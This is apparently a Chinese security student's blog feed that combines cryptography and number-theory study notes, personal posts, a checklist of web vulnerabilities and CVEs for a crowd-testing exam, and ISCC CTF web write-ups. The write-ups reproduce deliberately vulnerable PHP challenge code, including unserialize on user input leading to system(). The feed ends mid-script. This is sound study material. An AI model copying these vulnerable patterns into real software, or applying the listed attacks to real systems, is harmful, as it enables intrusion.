所谓混淆就是将密文与密钥之间的统计关系变得尽可能复杂,使得对手即使获取了关于密文的一些统计特性,也无法推测密钥.使用复杂的非线性代替变换可以达到比较好的混淆效果,而简单的线性代替变换得到的混淆效果则不理想.

仿射密码

image-20210919212715548

代换密码要先建立一个替换表(即密钥),加密时将需要加密的明文依次通过查表,替换为相应的字符,明文字符被逐个替换后,生成无任何意义的字符串,即密文。
置换密码是对明文字符按某种规律进行位置的置换。

中间人攻击

SP网络(代换-置换网络)

Substitution-Permutation Network,缩写作SP-network或SPN

S一般被称为混淆层,主要起混淆作用
P一般被称为扩散层,主要起扩散作用

代换起混淆作用,置换起扩散作用

DES

面向二进制数据的密码算法
因而能够加解密任何形式的计算机数据。

S盒起混淆作用

改变S盒的任一输入比特,其输出至少有两比特发生改变

置换运算P起扩散作用

image-20211110215431361image-20211110215415819

弱点

image-20211110215618739

AES

面向二进制的密码算法
能够加解密任何形式的计算机数据。
不是对合运算,加解密使用不同的算法

最后一轮的轮变换中没有列混合变换。

image-20211114232150250

密钥备份和恢复只能针对加解密密钥,无法对签名密钥进行备份。

第一章-绪论

密码体制的基本要素:

  • 密码算法
  • 密钥

密码系统的数学描述:

S={P,C,K,E,D} 其中,明文空间P也常用消息空间M

image-20210713213509244

现代密码学基本原则:

  • 柯克霍夫原则(Kerckhoff’s principle)
    除了密钥之外,即使密码系统的一切均被公开,它仍然应当是安全的。
  • 香农箴言(Shannon’s maxim)
    敌人了解系统。
  • 密码系统的安全性不在于算法的保密,而在于当对手获知了算法和密文后,分析出密钥或明文的难度。

密码提之的安全性:

  • 无条件安全
  • 可证明安全
  • 计算上安全
  • 实际安全

通信信道加密方式:

  • 链路加密–点到点加密
  • 高层链接加密–端到端加密

存储数据的加密:

  • 硬盘级加密
  • 文件级加密

攻击方法

攻击类型密码分析员的资源
唯密文攻击 Ciphtext-only密码算法 待分析密文
已知明文攻击 Known-plaintext密码算法 待分析密文 用同一密钥加密的一个或多个明文-密文对
选择密文攻击 Chosen-ciphertext密码算法 待分析密文 可选择特定密文,并获得对应的明文
选择明文攻击 Chosen-plaintext密码算法 待分析密文 可选择特定明文,并获得对应的密文
选择文本攻击 Chosen-text密码算法 待分析密文 可选择特定密文/明文,并获得对应的明文/密文
相关密钥攻击 Related-key密码算法 待分析密文 有确定关系的两个密钥对应的明文-密文对

序列密码体制 / 流密码体制(Stream Cipher)

  • 以比特(有时也用字节)为单位进行加密/解密运算
  • 同一明文对应的密文一般不同

分组密码体制(Block Cipher)

  • 以若干比特(通常大于64比特)的数据块为处理单元
  • 同一明文块对应的密文块相同

根据密文的唯一性分类:

  • 确定型密码体制
  • 概率型密码体制

明文:Plaintext,Message

密文:Ciphertext

目前,衡量一个密码系统是否安全的一个通用的做法是:公开接受来自全世界的研究和攻击。

第二章-经典密码学

代换(Substitution)
明文内容的表示形式改变,内容元素之间相对位置不变
明文字母用密文中对应字母代替

置换(Transposition or Permutation)
明文内容元素的相对位置改变,内容的表示形式不变

乘积密码(Product Ciphers)
多个加密技术的叠加

算术密码

1.移位密码

凯撒密码

将每个字母用字母表中它之后的第k个字母替代
C = E(k, p) = (p+k) mod 26,p = D(k, C) = (C-k) mod 26
一些文献中认为Caesar固定使用k=3

2.仿射密码

密钥:a,b
加密:C = E([a,b], p) = (ap+b) mod 26
解密:p = D([a,b], C) = ((C-b)/a) mod 26

a=1时,蜕化为凯撒密码。这里不考虑。
a≠0时,b无限制。
相当于b=0的仿射加密后,再叠加一次凯撒加密。
a的取值有限制:gcd(a,26)=1
a=3,5,7,9,11,15,17,19,21,23,25
否则不能保证一一映射
例:a=2, b=1时,p=3->C=7; p=16->C=7
不同的明文对应同一密文,无法解密
密钥空间大小为11*26=286

3.HILL密码

密钥:m*m个密钥

加密:每次加密m个明文字母

image-20210721220734130image-20210721220911593

解密(要求K可逆)

image-20210721220926003

安全性:掩盖频率信息

抵抗唯密文攻击

易受已知明文攻击

代换密码

1.单表代换密码

经典密码破译:

  • 频率特征(单字母,双字母,三字母)
  • 连接特征
  • 重复特征

2.Playfair密码——二维单表代换

image-20210721223610875

加密方法:

每次加密或解密两个字母

加密规则:

  • 如果两字母是重复的,则在其中插入字母x。
    例如balloon划分为ba lx lo on
  • 如果两字母位于同一行,则各自用右侧字母代换。
    例如ar->RM
  • 如果两字母位于同一列,则各自用下侧字母代换。
    例如mu->CM
  • 否则各自用同行异列字母代换。
    例如hs->BP;ea->IM或JM

3.多表代换加密(抵抗字频统计攻击)

4.维吉尼亚密码

加密算法:Ci = E(k, pi) = (pi+ki mod d) mod 26
解密算法:pi = D(k, Ci) = (Ci-ki mod d) mod 26

攻击方法:

若获得了替换表的个数(密钥长)d,则可以逐个分析

分析位于i,i+d,i+2d,…的密文,获得密钥ki

  • 密钥:deceptive,d=9明文
  • 密文:ZICVTWQNGRZGVTWAVZHCQYGLMGJ
  • 重排列,在每一列上进行字频攻击

寻找密钥长度d

vKasiski方法

  • 在密文中寻找重复字段
  • 计算重复字段的间距
  • 密钥长度d应是这些间距的公约数

5.Autokey密码

加解密密钥= ”密钥” + ”明文”

置换技术

重新排序隐藏信息

乘积密码

两次代换可以构造更复杂的代换,等效为一次规则复杂的代换
两次置换可以构造更复杂的置换,等效为一次规则复杂的置换
交替使用代换和置换,可以大大提高安全性

第三章-密码学基础理论(8.4)

密码系统运算

  • 构建复杂密码
  • 分析合成密码系统

1.先验概率,后验概率

2.闭合系统,非闭合系统

同构:定义:若密码系统T的消息空间与密文空间相同,则称它是自同构的。
若密码系统T是自同构的,则可定义指数运算:

幂等:定义:若密码系统T满足TT=T,则称它是幂等的。
维吉尼亚密码是幂等的

单纯密码,混合密码

相似密码系统

信息量:H(x)

冗余,冗余度

完美安全:完美安全一般用于加密最重要的信息,或者消息集很小的场合。

消息模糊度

密钥模糊度

唯一解距离

内容:数论基础

第一节 有限域

群,环,域

有限群的阶等于群中元素的个数

有限群,交换群(阿贝尔群),

循环群:如果群中的每一个元素都是一个固定的元素a(a∈G)的幂ak(k为整数),则称群G为循环群。
元素a生成了群G,或者说a是群G的生成元。

关系图

image-20210805204923411

模运算

a=qn + r 0≤r<n; q=⌊a/n⌋

image-20210807230847616

image-20210913223741755

image-20210917200006538

同余

整数a, b及n≠0, 当且仅当a-b=kn时,a与b是模n同余,记为 a≡b mod n

a≡b mod n当且仅当 a mod n = b mod n

如果a=mb, 其中 a,b,m 为整数,则当b≠0时,称b能整除a, b是a的一个因子,或a除以b余数为0,记为b|a

如果n|(a-b), 则a≡b mod n

加法逆元,乘法逆元

  • 加法表
  • 乘法表
  • 逆元表

模n的完全剩余类集

有限域

多项式计算

有限域GF(2n)上的多项式计算

素多项式

任何多项式可以写为:f(x)=q(x)g(x)+r(x)
r(x)称为余式
r(x)=f(x) mod g(x)

若不存在余式,则称g(x)整除f(x),g(x)|f(x)

若f(x)除了它本身和1外,不存在其它因式,则称f(x)是不可约多项式,或既约多项式、素多项式

系数在GF(p)中,以素多项式取模的多项式构成一个域

欧几里得算法

1
2
3
4
5
6
7
a可以表示成a = kb + r(a,b,k,r皆为正整数,且r<b),则r = a mod b
假设d是a,b的一个公约数,记作d|a,d|b,即a和b都可以被d整除。
而r = a - kb,两边同时除以d,r/d=a/d-kb/d=m,由等式右边可知m为整数,因此d|r
因此d也是b,a mod b的公约数
假设d是b,a mod b的公约数, 则d|b,d|(a-k*b),k是一个整数,
进而d|a.因此d也是a,b的公约数
因此(a,b)和(b,a mod b)的公约数是一样的,其最大公约数也必然相等,得证。
1
2
3
4
5
对于任何可以整除a和b的整数,那么它也一定能整除a-b(和b),因此我们选择该整数(前面提到的任何整数)为gcd(a,b),它一定比a-b和b的最大公约数小:gcd(a,b)<=gcd(a-b,b)
同理,任何可以整除a-b和b的整数,一定可以整除a和b,因此我们选择该整数为gcd(a-b,b),它一定比a和b的最大公约数小:gcd(a-b,b)<=gcd(a,b)
由此可知:gcd(a,b)=gcd(a-b,b)
因为总有整数n,使得 a - n*b = a mod b,
所以迭代可知:gcd(a-b,b)=gcd(a-2b,b)=...=gcd(a-n*b,b)=gcd(a mod b,b)

gcd(a,b)=gcd(a mod b, b)

若a和b只有唯一的正公因子1,则称整数a和b是互素的,即gcd(a, b)=1

扩展欧几里得

求d=gcd(a,b),并解ax+by=d

第二节 素数

素数有无限多个

费马数

梅森素数

完全数

素因子分解

任一正整数可通过列出所有素因子的非零指数分量来表示
例:12可以表示为{a2=2, a3=1}
例:18可以表示为{a2=1, a3=2}

两个数的乘法等同于对应指数分量的加法:
K = mn → kp = mp + np 对所有p
例:216=12×18=(22×31)×(21×32)=23×33

最大公约数:k=gcd(a,b) <=> 所有kp=min(ap,bp)
例:300=22×31×52, 18=21×32 gcd(18,300)=21×31×50=6

费马定理

image-20210807223557784

欧拉定理

image-20210808111928181

image-20210808122519540

image-20210808115027528

中国剩余定理

image-20210808122417972

image-20210808205302384

原根

image-20210808205601708

原根的模数不一定是素数:5是模6的一个原根

原根未必唯一

所有的奇数都是模2的原根

image-20210808210709152

image-20210808211446013

算术基本定理

image-20210808214234027

DH算法

image-20210902223744193image-20210913221636557

扩展欧几里得

求乘法逆元

第四章-分组密码

第一节 DES

Feistel密码结构

DES 64位密钥

实际只使用56位

其它用作奇偶校验等

雪崩效应就是一种不稳定的平衡状态也是加密算法的一种特征,它指明文或密钥的少量变化会引起密文的很大变化,就像雪崩前,山上看上去很平静,但是只要有一点问题,就会造成一片大崩溃。 可以用在很多场合对于Hash码,雪崩效应是指少量消息位的变化会引起信息摘要的许多位变化。指加密算法(尤其是块密码和加密散列函数)的一种理想属性。雪崩效应是指当输入发生最微小的改变(例如,反转一个二进制位)时,也会导致输出的不可区分性改变(输出中每个二进制位有50%的概率发生反转)。合格块密码中,无论密钥或明文的任何细微变化都必须引起密文的不可区分性改变。

构造一个具备良好雪崩效应的密码或散列是至关重要的设计目标之一。

计时攻击

能量攻击

DES能够很好地抵抗计时攻击

DES不能抵御差分分析、线性分析

差分密码攻击

  • 分析明文对的差异和密文对的差异之间的关系
  • 确定轮运算的子密钥,从而恢复某些密钥比特

线性密码分析

DES的设计标准

第二节有限域计算
第三节 AES

密钥长度:128,192,256

不是Feistel结构

字节代换、行移位、列混淆三个阶段一起提供了混淆、扩散和非线性功能。这些阶段不涉及密钥,其本身并不提供安全性

image-20210917224400452
第四节 分组密码工作模式

image-20210917233643054

不同分组模式的优缺点。

第五节 其他密码
image-20210922095840573

第五章-流密码

分类:

  • 同步流密钥
  • 自同步流密钥

第六章-公钥密码

第七章-消息认证

1.消息认证
2.散列算法
3.MAC算法

hash是无密钥的

MAC是有密钥的

生日悖论

image-20210926214703360

对输出n比特的hash函数,生日攻击的代价为$2^{n/2}$

第八章-数字签名

第九章-密钥管理

1.加密

  • 链路加密
  • 端到端加密

2.密码系统的安全性取决于算法强度和密钥长度

]]>
+ + + + + <blockquote> +<p>李卫海PPT学习笔记</p> +</blockquote> +<h4 id="其他概念"><a href="#其他概念" class="headerlink" title="其他概念"></a>其他概念</h4><p><strong>Needham-S + + + + + + + + + +
+ + + 2021总结 + + http://h4m5t.github.io/2022/01/02/%E5%B9%B4%E6%80%BB%E7%BB%93/ + 2022-01-02T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 岁月蹉跎,转眼已快毕业。2021年还算平稳度过。

本来想直接就业,3,4月投了很多实习简历,也经历过几次面试。大部分公司石沉大海,直至今日,仍无反应。唯阿里最为迅速,美团最主动,各个部门经常打电话过来。面了几家大厂和乙方龙头企业,都没有如意的结果。深知实战经验缺乏,又难以快速提升。遂作罢,走上考研之路。

上半年课不算多,都以小组做项目为主,结课之前没有多少时间可以静心复习。

  • 信息检索:最后写一个小的网页检索项目,基于语言建模的信息检索模型、基于机器学习的排序方法和Web搜索技术、文本聚类技术等。
  • 内容安全:社交媒体/网页中的广告检测项目。
  • 舆情分析:*国智库人物画像项目。主要内容是文本情感分析。

真正开始复习是暑假7月份。因为一些契机,也因为不想在基地待下去,报了一个自命题的学校。寻找资料很难,真题都没有,也很少有可以交流的同学。

一切时间都要靠自己安排,不像高中那样,只跟老师走就行了。这一路也是兜兜转转,不同的老师,不同的资料,转来转去。从汤家凤到张宇,再到武老师。尤其概率,从余炳森,到汤家凤,到王式安,到张宇,最后是方浩。

半年来,认识了很多真正的好老师。田静,徐涛,武忠祥,李永乐等。虽未谋面,但却像真正耳提面命一般,一路陪伴着我们。

不知道新的一年,我将在哪里。不管结果如何,上天都会有最好的安排。

向前走吧。

]]>
+ + + + + <p>岁月蹉跎,转眼已快毕业。2021年还算平稳度过。</p> +<p>本来想直接就业,3,4月投了很多实习简历,也经历过几次面试。大部分公司石沉大海,直至今日,仍无反应。唯阿里最为迅速,美团最主动,各个部门经常打电话过来。面了几家大厂和乙方龙头企业,都没有如意的结果。深知实战经验 + + + + + + + +
+ + + 初等数论学习 + + http://h4m5t.github.io/2021/08/05/%E6%95%B0%E8%AE%BA/ + 2021-08-05T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

补充信息安全数学基础,为密码学做点铺垫,学习一下初等数论

密码学中的数论基础

  • 整除和带余除法
  • 欧几里得算法
  • 模运算
  • 素数
  • 费马定理和欧拉定理
  • 素性测试
  • 中国剩余定理
  • 离散对数

学习安排

  • 整数的离散性
  • 整除的概念和性质
  • 带余数的除法
  • 欧几里得算法
  • 扩展欧几里得算法
  • 贝祖定理
  • 素数与合数
  • 算术基本定理
  • 公因数和公倍数
  • 同余的概念和性质
  • 同余类和剩余系
  • 费马小定理
  • 欧拉定理
  • 中国剩余定理
  • 拉格朗日定理
  • Wolstenholme定理
  • 二次剩余和欧拉判别
  • 高斯引理
  • 二次互反律
  • 原根
  • 高斯函数
  • 位运算和进位制
]]>
+ + + + + <blockquote> +<p>补充信息安全数学基础,为密码学做点铺垫,学习一下初等数论</p> +</blockquote> +<p><strong>密码学中的数论基础</strong></p> +<ul> +<li>整除和带余除法</li> +<li>欧几里得算法</li> +<li>模 + + + + + + + + + + + +
+ + + 记一次360众测考核 + + http://h4m5t.github.io/2021/05/31/360/ + 2021-05-31T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 网址如下:

https://zhongce.360.cn/

想参与360众测活动,需要注册登陆,并完成考核。

考核内容

1.选择题

2.判断题

3.实战题(分值最大)

题目都比较简单,实战题是CTF形式,拿到一半以上的flag应该就可以通过了。

主要题型如下:

1.各种Web漏洞

  • SQL注入
  • XSS跨站脚本攻击
  • 文件上传
  • 命令执行
  • 编辑器漏洞

2.流量分析题

比较简单,会用wireshark,分析简单的数据包就可以了。

3.CMS

针对特定CMS系统的分析题。

4.CVE

经典CVE的复现和分析。

总结了几个常考的点:

  • GET\POST
  • CVE-2011-3923(struts2)
  • webshell上传
  • Samba远程命令执行漏洞(CVE-2017-7494)
  • drupa7-CVE-2018-7600
  • php文件包含(www.zip源码)
  • 6379端口Redis未授权访问漏洞
  • wireshark流量分析(xiaoma.php)
  • 文件上传绕过方式
  • SQL注入(sqlmap)(要知道注入点在哪)
  • 代码审计(php弱类型)
  • 873rsync服务
  • 后门扫描
  • Supervisor远程命令执行漏洞(CVE-2017-11610)
  • User-Agent头伪造
  • PHPMailer远程命令执行漏洞
  • Referer来源伪造
  • 万能密码
  • tomcat弱口令上传
  • CMS
  • 弱口令
  • Bash远程代码执行漏洞“破壳”(CVE-2014-6271)
  • Drupal 远程代码执行漏洞CVE-2019-6339
360zc]]>
+ + + + + <p>网址如下:</p> +<p><a href="https://zhongce.360.cn/">https://zhongce.360.cn/</a></p> +<p>想参与360众测活动,需要注册登陆,并完成考核。</p> +<p><strong>考核内容</strong>:< + + + + + + + +
+ + + 六月加油 + + http://h4m5t.github.io/2021/05/23/ganwu/ + 2021-05-23T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 马上就要高考了,受老师和同学之托,写一段加油的话给即将上高考战场的学弟学妹,也勉励未来的自己。

我们都不曾平庸,目的向来无关紧要,你所期待遇见的都在途中。所以啊,就把迷惘都写进诗里,在一路颠沛中弹奏成歌,在六月的阳光下高唱出来,惊起身后的鸥鸟,唱醒这早春的天,唱热你倔强的眼眶,唱遍你要去的地方。愿九月的你,生活在现在渴望的远方。

]]>
+ + + + + <p>马上就要高考了,受老师和同学之托,写一段加油的话给即将上高考战场的学弟学妹,也勉励未来的自己。</p> +<blockquote> +<p>我们都不曾平庸,目的向来无关紧要,你所期待遇见的都在途中。所以啊,就把迷惘都写进诗里,在一路颠沛中弹奏成歌,在六月的阳光下高唱出来,惊起身 + + + + + + + +
+ + + ISCC练武题 + + http://h4m5t.github.io/2021/05/06/ISCC/ + 2021-05-06T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + ISCC练武题

适合新手的题,练练手

WEB-1

image-20210507222242720

打开环境,是一个投票页面

image-20210507222313417

题目要求:在20秒之内让左边的票数高过右边的

  • 方法一:Python写脚本模拟点击,实现刷票
  • 方法二:修改左右客服的ID
  • 方法三:直接在控制台修改左边票数的数据

WEB-2

查看源码

image-20210507223605027

是JS编码

http://www.jsfuck.com/

打开在线网站,直接提交这串编码即出flag

JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

It does not depend on a browser, so you can even run it on Node.js.

Use the form below to convert your own script. Uncheck “eval source” to get back a plain string.

WEB-3

image-20210507224002677

查看robots.txt

image-20210507224038667

继续查看code.txt

出现一串PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

根据正则表达以GET型提交即可。

注意是在根目录下提交GET请求。

image-20210507224313141

WEB-4

题目描述:ISCC客服一号冲冲冲(二)

image-20210524115114413

打开之后是个伪装的登录框(其实是图片)

但是图片显示不完整

描述
visible默认值。内容不会被修剪,会呈现在元素框之外。
hidden内容会被修剪,并且其余内容是不可见的。
scroll内容会被修剪,但是浏览器会显示滚动条以便查看其余的内容。
auto如果内容被修剪,则浏览器会显示滚动条以便查看其余的内容。
inherit规定应该从父元素继承 overflow 属性的值。

根据 CSS 布局 - Overflow,可以看出图片的完整部分。

下载图片,并进行LSB隐写破解和压缩文件隐藏破解,发现行不通。

根据之前题目得到的flag进行POST提交

image-20210524142323165

修改admin

image-20210524142457440

image-20210524142752396

根据网上的提示,查看cookie,

CBC翻转攻击

image-20210524143139217

WEB-5

打开网页,是4张猫猫图片

image-20210524145620439

根据题目描述,这是一个ssti模板注入

这只猫叫小豆泥

信息收集:xiaodouni

image-20210524145744276

WEB-6

题目:Explore Ruby

WEB-7

打开之后是个登录框

尝试万能密码和SQL注入都没成功

然后尝试弱口令:test : test

image-20210507224844092

登录成功

image-20210507224920836

图片地址是base64编码

解密即可出flag

WEB-8

image-20210524154528742

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

if(is_uploaded_file($iscc_file['tmp_name'])) {

$check = @getimagesize($iscc_file["tmp_name"]);

if($check !== false) {

$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);

if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}

if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}

if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}

} else {
finalize();
exit;
}

} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}

class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;

if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}

if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

class ISCC_Login {

function __wakeup() {
$this->login();
}

function __destruct() {
$this->logout();
}

function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}

function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}

}

class ISCC_TellMeTruth {

function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

}

class ISCC_Command {

function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}

function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}

function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

}

function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}

function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}

if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}

?>

<head>
<title>ISCC finder system - which is the true ISCC</title>
<meta charset="UTF-8">
<style>
* {
margin: 0;
padding: 0;
}

canvas {
display: block;
}


#snowfall {
width: 100%;
height: 100vh;
background: cornflowerblue;
}
</style>
</head>
<body>

<!--
████████████▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒
████████████▒▒▒▒████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████
▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██
████████████▒▒██████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████
████████████▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒
-->
<script src="//cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<div id="snowfall"></div>
<script>
particlesJS("snowfall", {
"particles": {
"number": {
"value": 100
},
"shape": {
"type": "circle"
},
"size": {
"value": 10,
"random": true
},
"line_linked": {
"enable": false
},
"move": {
"enable": true,
"speed": 2,
"direction": "bottom",
